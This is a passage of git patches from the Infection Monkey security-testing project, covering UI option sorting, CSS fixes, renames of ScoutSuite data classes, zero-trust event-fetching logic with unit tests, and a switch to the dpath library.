yMGltcG9ydCUyMCU1QyU1QyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTglMkMlMjJiJTIyJTNBNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHByb2Nlc3NfYXdzX3RlbGVtZXRyeSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTklMkMlMjJiJTIyJTNBOCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLnRlbGVtZXRyeS5wcm9jZXNzaW5nLnN5c3RlbV9pbmZvX2NvbGxlY3RvcnMuZW52aXJvbm1lbnQlMjBpbXBvcnQlMjAlNUMlNUMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMCUyQyUyMmIlMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwcHJvY2Vzc19lbnZpcm9ubWVudF90ZWxlbWV0cnklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMSUyQyUyMmIlMjIlM0ExMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy50ZWxlbWV0cnkucHJvY2Vzc2luZy5zeXN0ZW1faW5mb19jb2xsZWN0b3JzLmhvc3RuYW1lJTIwaW1wb3J0JTIwJTVDJTVDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwcHJvY2Vzc19ob3N0bmFtZV90ZWxlbWV0cnklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLnRlbGVtZXRyeS56ZXJvX3RydXN0X3Rlc3RzLmFudGl2aXJ1c19leGlzdGVuY2UlMjBpbXBvcnQlMjAlNUMlNUMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCUyQyUyMmIlMjIlM0ExMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHRlc3RfYW50aXZpcnVzX2V4aXN0ZW5jZSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE1JTJDJTIyYiUyMiUzQTEyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTYlMkMlMjJiJTIyJTNBMTMlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0EzJTJDJTIybGluZXNDb3VudCUyMiUzQTE0JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTMlMkMlMjJsaW5lc0NvdW50JTIyJTNBMTElN0QlN0QlN0QlN0Q=", - "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xOSUyQzclMjAlMkIxNiUyQzYlMjAlNDAlNDAlMjBsb2dnZXIlMjAlM0QlMjBsb2dnaW5nLmdldExvZ2dlcihfX25hbWVfXyklMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwU1lTVEVNX0lORk9fQ09MTEVDVE9SX1RPX1RFTEVNRVRSWV9QUk9DRVNTT1JTJTIwJTNEJTIwJTdCJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTklMkMlMjJiJTIyJTNBMTYlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBBV1NfQ09MTEVDVE9SJTNBJTIwJTVCcHJvY2Vzc19hd3NfdGVsZW1ldHJ5JTVEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMjAlMkMlMjJiJTIyJTNBMTclN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBFTlZJUk9OTUVOVF9DT0xMRUNUT1IlM0ElMjAlNUJwcm9jZXNzX2Vudmlyb25tZW50X3RlbGVtZXRyeSU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIxJTJDJTIyYiUyMiUzQTE4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMEhPU1ROQU1FX0NPTExFQ1RPUiUzQSUyMCU1QnByb2Nlc3NfaG9zdG5hbWVfdGVsZW1ldHJ5JTVEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMjIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBQUk9DRVNTX0xJU1RfQ09MTEVDVE9SJTNBJTIwJTVCdGVzdF9hbnRpdmlydXNfZXhpc3RlbmNlJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMjMlMkMlMjJiJTIyJTNBMTklN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlN0QlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyNCUyQyUyMmIlMjIlM0EyMCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTI1JTJDJTIyYiUyMiUzQTIxJTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMTklMkMlMjJsaW5lc0NvdW50JTIyJTNBNyU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExNiUyQyUyMmxpbmVzQ291bnQlMjIlM0E2JTdEJTdEJTdEJTdE" + "diffType": "MODIFIED", + "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py\nindex 639a392c..7aa6d3a6 100644\n--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py\n+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", + "hunks": [ + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -3,14 +3,11 @@", + " ", + " from common.data.system_info_collectors_names import (AWS_COLLECTOR,", + " ENVIRONMENT_COLLECTOR,", + "- HOSTNAME_COLLECTOR,", + " PROCESS_LIST_COLLECTOR)", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import \\", + " process_aws_telemetry", + " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\", + " process_environment_telemetry", + "-from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import \\", + "- process_hostname_telemetry", + " from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import \\", + " test_antivirus_existence", + " " + ] + }, + { + "swimmHunkMetadata": { + "hunkComments": [] + }, + "hunkDiffLines": [ + "@@ -19,7 +16,6 @@", + " SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {", + " AWS_COLLECTOR: [process_aws_telemetry],", + " ENVIRONMENT_COLLECTOR: [process_environment_telemetry],", + "- HOSTNAME_COLLECTOR: [process_hostname_telemetry],", + " PROCESS_LIST_COLLECTOR: [test_antivirus_existence]", + " }", + " " + ] + } ] } }, - "app_version": "0.1.90", - "file_version": "1.0.2" + "app_version": "0.3.5-1", + "file_version": "1.0.4" } \ No newline at end of file From e77868b656b40d904fc5cc2d5bd7a2c48abbb2d8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 13:44:14 -0500 Subject: [PATCH 215/466] ui: sort checkbox options alphabetically Alphabetically sort options in AdvancedMultiSelect to improve usability. Float "unsafe" options to the bottom so they are grouped together. --- .../ui-components/AdvancedMultiSelect.js | 23 ++++++++++++++++++- 1 file changed, 22 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 575dbae8e..6398e85db 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -33,10 +33,10 @@ class AdvancedMultiSelect extends React.Component { constructor(props) { super(props); - this.enumOptions = props.options.enumOptions; this.defaultValues = props.schema.default; this.infoPaneRefString = props.schema.items.$ref; this.registry = props.registry; + this.enumOptions = props.options.enumOptions.sort(this.compareOptions); this.state = { masterCheckboxState: this.getMasterCheckboxState(props.value), @@ -49,6 +49,27 @@ class AdvancedMultiSelect extends React.Component { }; } + // Sort options alphabetically. "Unsafe" options float to the bottom" + compareOptions = (a, b) => { + if (!this.isSafe(a.value) && this.isSafe(b.value)) { + return 1; + } + + if (this.isSafe(a.value) && !this.isSafe(b.value)) { + return -1; + } + + if (a.value < b.value) { + return -1 + } + + if (a.value > b.value) { + return 1 + } + + return 0; + } + onMasterCheckboxClick = () => { if (this.state.masterCheckboxState === MasterCheckboxState.ALL) { var newValues = []; From 117678f91a5a69a6d4d84db574cb6042692cc66c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 28 Jan 2021 14:06:05 -0500 Subject: [PATCH 216/466] ui: fix minor css formatting issues --- .../cc/ui/src/styles/components/AdvancedMultiSelect.scss | 2 +- monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss | 1 + .../cc/ui/src/styles/pages/ConfigurationPage.scss | 3 +-- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss b/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss index de3d5d542..cd1297f54 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/AdvancedMultiSelect.scss @@ -19,7 +19,7 @@ } .advanced-multi-select .card-header .master-checkbox span { - padding-bottom: 0.188rem; + padding-bottom: 0.188rem; } .advanced-multi-select .card-header .header-title { diff --git a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss index 518757713..976246cb6 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/InfoPane.scss @@ -32,6 +32,7 @@ margin-top: 1em; display: flex; } + .info-pane-warning .warning-icon { margin-top: .188em; margin-left: 0em; diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss index 6bda238ea..18e09d37b 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss @@ -59,7 +59,6 @@ .warning-icon { text-transform: uppercase; - color: #ffc107; - font-weight: 900; + color: #FFC107; margin-left: .75em; } From a836ab7e1d7a6e1523ef8e45e76f2a8dae20964c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 29 Jan 2021 12:35:40 +0200 Subject: [PATCH 217/466] Renamed some files and other minor improvements --- .../cc/models/zero_trust/scoutsuite_data_json.py | 6 +++--- monkey/monkey_island/cc/services/post_breach_files.py | 2 +- .../cc/services/telemetry/processing/scoutsuite.py | 6 +++--- .../zero_trust/scoutsuite/consts/findings_list.py | 8 -------- .../consts/{findings.py => scoutsuite_findings.py} | 0 .../scoutsuite/consts/scoutsuite_findings_list.py | 8 ++++++++ .../scoutsuite/scoutsuite_zt_finding_service.py | 2 +- .../zero_trust/test_common/scoutsuite_finding_data.py | 2 +- .../zero_trust_report/scoutsuite_raw_data_service.py | 4 ++-- 9 files changed, 19 insertions(+), 19 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py rename monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/{findings.py => scoutsuite_findings.py} (100%) create mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py index 9dbf7855a..166c247bf 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py @@ -1,7 +1,7 @@ from mongoengine import Document, DynamicField -class ScoutSuiteDataJson(Document): +class ScoutSuiteRawDataJson(Document): """ This model is a container for ScoutSuite report data dump. """ @@ -13,8 +13,8 @@ class ScoutSuiteDataJson(Document): @staticmethod def add_scoutsuite_data(scoutsuite_data: str) -> None: try: - current_data = ScoutSuiteDataJson.objects()[0] + current_data = ScoutSuiteRawDataJson.objects()[0] except IndexError: - current_data = ScoutSuiteDataJson() + current_data = ScoutSuiteRawDataJson() current_data.scoutsuite_data = scoutsuite_data current_data.save() diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 2bb310e14..44f1b91b2 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -6,7 +6,7 @@ import monkey_island.cc.services.config __author__ = "VakarisZ" -from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py index 93a597f90..d3822da27 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/scoutsuite.py @@ -1,8 +1,8 @@ import json from monkey_island.cc.database import mongo -from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson -from ...zero_trust.scoutsuite.consts.findings_list import SCOUTSUITE_FINDINGS +from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson +from ...zero_trust.scoutsuite.consts.scoutsuite_findings_list import SCOUTSUITE_FINDINGS from ...zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser from ...zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService from ...zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService @@ -11,7 +11,7 @@ from ...zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleServi def process_scoutsuite_telemetry(telemetry_json): # Encode data to json, because mongo can't save it as document (invalid document keys) telemetry_json['data'] = json.dumps(telemetry_json['data']) - ScoutSuiteDataJson.add_scoutsuite_data(telemetry_json['data']) + ScoutSuiteRawDataJson.add_scoutsuite_data(telemetry_json['data']) scoutsuite_data = json.loads(telemetry_json['data'])['data'] create_scoutsuite_findings(scoutsuite_data) update_data(telemetry_json) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py deleted file mode 100644 index fdef7d62b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py +++ /dev/null @@ -1,8 +0,0 @@ -from .findings import (DataLossPrevention, Logging, - PermissiveFirewallRules, - RestrictivePolicies, - SecureAuthentication, ServiceSecurity, - UnencryptedData) - -SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, - RestrictivePolicies, Logging, ServiceSecurity] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py new file mode 100644 index 000000000..b123e720e --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py @@ -0,0 +1,8 @@ +from .scoutsuite_findings import (DataLossPrevention, Logging, + PermissiveFirewallRules, + RestrictivePolicies, + SecureAuthentication, ServiceSecurity, + UnencryptedData) + +SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, + RestrictivePolicies, Logging, ServiceSecurity] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py index 24740840f..27b1b82b3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py @@ -4,7 +4,7 @@ from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import ScoutSuiteFinding +from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_findings import ScoutSuiteFinding from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py index cddc6b72c..b82a53260 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -1,6 +1,6 @@ from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import PermissiveFirewallRules, UnencryptedData +from ..scoutsuite.consts.scoutsuite_findings import PermissiveFirewallRules, UnencryptedData SCOUTSUITE_FINDINGS = [ PermissiveFirewallRules, diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py index 006f3250f..3a3c06452 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/scoutsuite_raw_data_service.py @@ -1,4 +1,4 @@ -from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson +from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteRawDataJson class ScoutSuiteRawDataService: @@ -8,6 +8,6 @@ class ScoutSuiteRawDataService: @staticmethod def get_scoutsuite_data_json() -> str: try: - return ScoutSuiteDataJson.objects.get().scoutsuite_data + return ScoutSuiteRawDataJson.objects.get().scoutsuite_data except Exception: return "{}" From ba9e8c22b4c3dff60ae3f4cab44b017fae60fc54 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 29 Jan 2021 12:42:24 +0200 Subject: [PATCH 218/466] Improved mokey event fetching and added unit tests --- .../monkey_zt_details_service.py | 29 ++++++++++------- .../test_monkey_zt_details_service.py | 31 +++++++++++++++++++ 2 files changed, 48 insertions(+), 12 deletions(-) create mode 100644 monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index 893f8221f..63f809fee 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -4,9 +4,10 @@ from bson import ObjectId from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails + # How many events of a single finding to return to UI. -# 50 will return 50 latest and 50 oldest events from a finding -EVENT_FETCH_CNT = 50 +# 100 will return 50 latest and 50 oldest events from a finding +MAX_EVENT_FETCH_CNT = 100 class MonkeyZTDetailsService: @@ -14,25 +15,29 @@ class MonkeyZTDetailsService: @staticmethod def fetch_details_for_display(finding_id: ObjectId) -> dict: pipeline = [{'$match': {'_id': finding_id}}, - {'$addFields': {'oldest_events': {'$slice': ['$events', EVENT_FETCH_CNT]}, - 'latest_events': {'$slice': ['$events', -1 * EVENT_FETCH_CNT]}, + {'$addFields': {'oldest_events': {'$slice': ['$events', int(MAX_EVENT_FETCH_CNT / 2)]}, + 'latest_events': {'$slice': ['$events', int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, 'event_count': {'$size': '$events'}}}, - {'$unset': ['events', 'checked_subnet_pairs']}] + {'$unset': ['events']}] details = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) if details: details = details[0] - details['latest_events'] = MonkeyZTDetailsService._get_events_without_overlap(details['event_count'], - details['latest_events']) + details['latest_events'] = MonkeyZTDetailsService._remove_redundant_events(details['event_count'], + details['latest_events']) return details else: return {} @staticmethod - def _get_events_without_overlap(event_count: int, events: List[object]) -> List[object]: - overlap_count = event_count - EVENT_FETCH_CNT - if overlap_count >= EVENT_FETCH_CNT: - return events + def _remove_redundant_events(fetched_event_count: int, latest_events: List[object]) -> List[object]: + overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT/2) + # None of 'latest_events' are in 'oldest_events' + if overlap_count >= MAX_EVENT_FETCH_CNT: + return latest_events + # All 'latest_events' are already in 'oldest_events' elif overlap_count <= 0: return [] + # Some of 'latest_events' are already in 'oldest_events'. + # Return only those that are not else: - return events[-1 * overlap_count:] + return latest_events[-1 * overlap_count:] diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py new file mode 100644 index 000000000..a53ef70c8 --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py @@ -0,0 +1,31 @@ +from monkey_island.cc.services.zero_trust.monkey_findings import monkey_zt_details_service +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService + + +def test__remove_redundant_events(monkeypatch): + monkeypatch.setattr(monkey_zt_details_service, 'MAX_EVENT_FETCH_CNT', 6) + + # No events are redundant, 8 events in the database, but we display only 6 (3 latest and 3 oldest) + latest_events = ['6', '7', '8'] + _do_redundant_event_removal_test(latest_events, 8, ['6', '7', '8']) + + # All latest events are redundant (only 3 events in db and we fetched them twice) + latest_events = ['1', '2', '3'] + _do_redundant_event_removal_test(latest_events, 3, []) + + # Some latest events are redundant (5 events in db and we fetched 3 oldest and 3 latest) + latest_events = ['3', '4', '5'] + _do_redundant_event_removal_test(latest_events, 5, ['4', '5']) + + # None of the events are redundant (6 events in db and we fetched 3 oldest and 3 latest) + latest_events = ['4', '5', '6'] + _do_redundant_event_removal_test(latest_events, 6, ['4', '5', '6']) + + # No events fetched, should return empty array also + latest_events = [] + _do_redundant_event_removal_test(latest_events, 0, []) + + +def _do_redundant_event_removal_test(input_list, fetched_event_cnt, expected_output): + output_events = MonkeyZTDetailsService._remove_redundant_events(fetched_event_cnt, input_list) + assert output_events == expected_output From c45ff1dc1fec91ec93a90fbd4617510f273e5df1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 29 Jan 2021 13:01:22 +0200 Subject: [PATCH 219/466] Used dpath module instead of custom code to traverse object. --- monkey/common/utils/code_utils.py | 9 --------- monkey/common/utils/test_code_utils.py | 9 --------- .../zero_trust/scoutsuite/data_parsing/rule_parser.py | 5 +++-- 3 files changed, 3 insertions(+), 20 deletions(-) delete mode 100644 monkey/common/utils/test_code_utils.py diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index d7fad9062..214e6d108 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -1,10 +1,5 @@ # abstract, static method decorator # noinspection PyPep8Naming -import operator -from functools import reduce -from typing import List, Union, Any - - class abstractstatic(staticmethod): __slots__ = () @@ -13,7 +8,3 @@ class abstractstatic(staticmethod): function.__isabstractmethod__ = True __isabstractmethod__ = True - - -def get_dict_value_by_path(data: dict, path: List[str]) -> Any: - return reduce(operator.getitem, path, data) diff --git a/monkey/common/utils/test_code_utils.py b/monkey/common/utils/test_code_utils.py deleted file mode 100644 index b383b0a33..000000000 --- a/monkey/common/utils/test_code_utils.py +++ /dev/null @@ -1,9 +0,0 @@ -import unittest - -from common.utils.code_utils import get_dict_value_by_path - - -class TestCodeUtils(unittest.TestCase): - def test_get_dict_value_by_path(self): - dict_for_test = {'a': {'b': {'c': 'result'}}} - self.assertEqual(get_dict_value_by_path(dict_for_test, ['a', 'b', 'c']), 'result') diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py index c5855ddd5..8da69a9bb 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py @@ -1,4 +1,5 @@ -from common.utils.code_utils import get_dict_value_by_path +import dpath.util + from common.utils.exceptions import RulePathCreatorNotFound from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \ RULE_PATH_CREATORS_LIST @@ -9,7 +10,7 @@ class RuleParser: @staticmethod def get_rule_data(scoutsuite_data, rule_name): rule_path = RuleParser.get_rule_path(rule_name) - return get_dict_value_by_path(data=scoutsuite_data, path=rule_path) + return dpath.util.get(scoutsuite_data, rule_path) @staticmethod def get_rule_path(rule_name): From 06685b14cfc10f97b3fd08333fe616b6443c7274 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 29 Jan 2021 10:52:14 -0500 Subject: [PATCH 220/466] ui: simplify compareOptions() with boolean arithmetic --- .../ui-components/AdvancedMultiSelect.js | 21 ++++++------------- 1 file changed, 6 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index 6398e85db..5a6cc6fcd 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -51,23 +51,14 @@ class AdvancedMultiSelect extends React.Component { // Sort options alphabetically. "Unsafe" options float to the bottom" compareOptions = (a, b) => { - if (!this.isSafe(a.value) && this.isSafe(b.value)) { - return 1; + // Apparently, you can use additive operators with boolean types. Ultimately, + // the ToNumber() abstraction operation is called to convert the booleans to + // 